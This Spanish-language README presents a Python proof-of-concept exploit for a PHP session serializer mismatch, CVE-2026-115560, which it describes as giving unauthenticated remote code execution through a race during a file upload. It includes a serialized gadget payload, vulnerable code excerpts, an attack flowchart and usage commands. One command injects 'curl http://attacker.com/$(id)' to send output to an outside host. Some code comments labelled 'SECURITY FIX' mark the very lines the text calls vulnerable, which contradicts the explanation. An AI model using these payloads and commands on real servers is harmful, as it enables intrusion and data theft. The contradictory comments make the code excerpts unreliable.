
PoC en Python que explota CVE-2026-115560, una discrepancia en el manejador de serialización del progreso de carga de sesión de PHP que permite la inyección de objetos sin autenticación y RCE mediante una carga con condición de carrera.
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2026-115560 |
| Proveedor | The PHP Group |
| Versiones afectadas | PHP 7.x, 8.0 – 8.4.x (todas las compilaciones con la configuración predeterminada de session.upload_progress) |
| Versión corregida | Sin parche — mitigación oficial: session.upload_progress.enabled=0 |
| Aviso | Aviso informativo de php.net 2026-10-23 |
| CVSS 3.1 | 9.8 Crítica |
| CWE | CWE-502 — Deserialización de datos no confiables |
| Vector de ataque | Red |
| Autenticación requerida | Ninguna (no autenticada) |
| Impacto | Ejecución remota de código no autenticada mediante inyección de objetos PHP |
| Condiciones previas | session.upload_progress.enabled=1 (predeterminado de PHP) + la aplicación cambia el serializador en tiempo de ejecución |
CVE-2026-115560 es una vulnerabilidad de ejecución remota de código no autenticada en la extensión de sesiones de PHP, divulgada el 2026-10-23 — dos días después de las versiones de emergencia de PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Afecta a cualquier aplicación PHP en la que se cumplan las tres condiciones previas simultáneamente:
php.ini configura session.serialize_handler = php_binary o session.serialize_handler = php_serializeini_set('session.serialize_handler', 'php') antes de session_start()session.upload_progress.enabled = 1 (el valor predeterminado de PHP)La causa raíz es un desajuste del manejador de serialización: el subsistema de progreso de carga de sesión de PHP se ejecuta antes de RINIT (antes de cualquier código de la aplicación) y escribe el archivo de sesión usando el manejador configurado en el servidor (php_serialize). Cuando la aplicación cambia posteriormente al manejador php y llama a session_start(), vuelve a leer el archivo de sesión usando el deserializador php, que divide en el primer carácter | y deserializa todo lo que hay después.
Dado que el atacante controla el valor del campo POST PHP_SESSION_UPLOAD_PROGRESS — que PHP almacena como una clave de array sin sanear en el archivo de sesión — puede inyectar un | seguido de un objeto PHP serializado arbitrario. El manejador php lo deserializa, activando cadenas de gadgets __destruct / __wakeup y logrando RCE.
El exploit es un ataque concurrente de dos peticiones: una petición envía lentamente una carga de archivo grande (manteniendo viva la clave de sesión maliciosa en el archivo de sesión), mientras que una segunda petición lee la sesión, activando la deserialización. Con el valor predeterminado session.upload_progress.cleanup=1, la ventana de carrera se mantiene abierta durante toda la duración de la carga — alcanzable en el rango de 13–38 segundos con un cuerpo de varios MB.
php-src/ext/session/session.c php-src/main/rfc1867.c
───────────────────────────── ──────────────────────
php_session_rfc1867_callback() MULTIPART_EVENT_FILE_START
└─ php_rinit_session(0) PS(serializer) = server ini (php_serialize)
└─ php_session_rfc1867_update()
└─ php_session_flush(1) ← writes session file with php_serialize
key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
value = array(start_time, current_file, ...)
--- (upload still in flight) ---
Application code (application.php):
ini_set('session.serialize_handler', 'php') // SECURITY FIX: CWE-502 -- ini switch creates mismatch
session_start()
└─ PS_SERIALIZER_DECODE_FUNC(php)
splits at first '|'
unserialize(everything after '|') ← attacker-controlled gadget chain
__destruct() fires → RCE
a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
^
php handler splits here and unserializes the rest
/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
/* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
if (event == MULTIPART_EVENT_FILE_START) {
php_rinit_session(0); // uses server-configured serialize_handler
}
if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
php_session_rfc1867_update(progress, 1); // writes with server handler
// PS(session_status) = php_session_none — not locked against handler re-init
}
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php'); // switches handler AFTER rfc1867 write
session_start(); // reads back with 'php', deserializes mismatch
flowchart LR
A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
F -->|__destruct fires| G([RCE\ncode execution as www-data])
style A fill:#1a0810,color:#e94560
style G fill:#1a0810,color:#e94560
style F fill:#3d0015,color:#fff
style D fill:#1a2010,color:#7ec8a0
pip install -r requirements.txt
# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v
# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v
# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
--gadget ExecOnDestruct --upload-size 8 -o result.json
# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure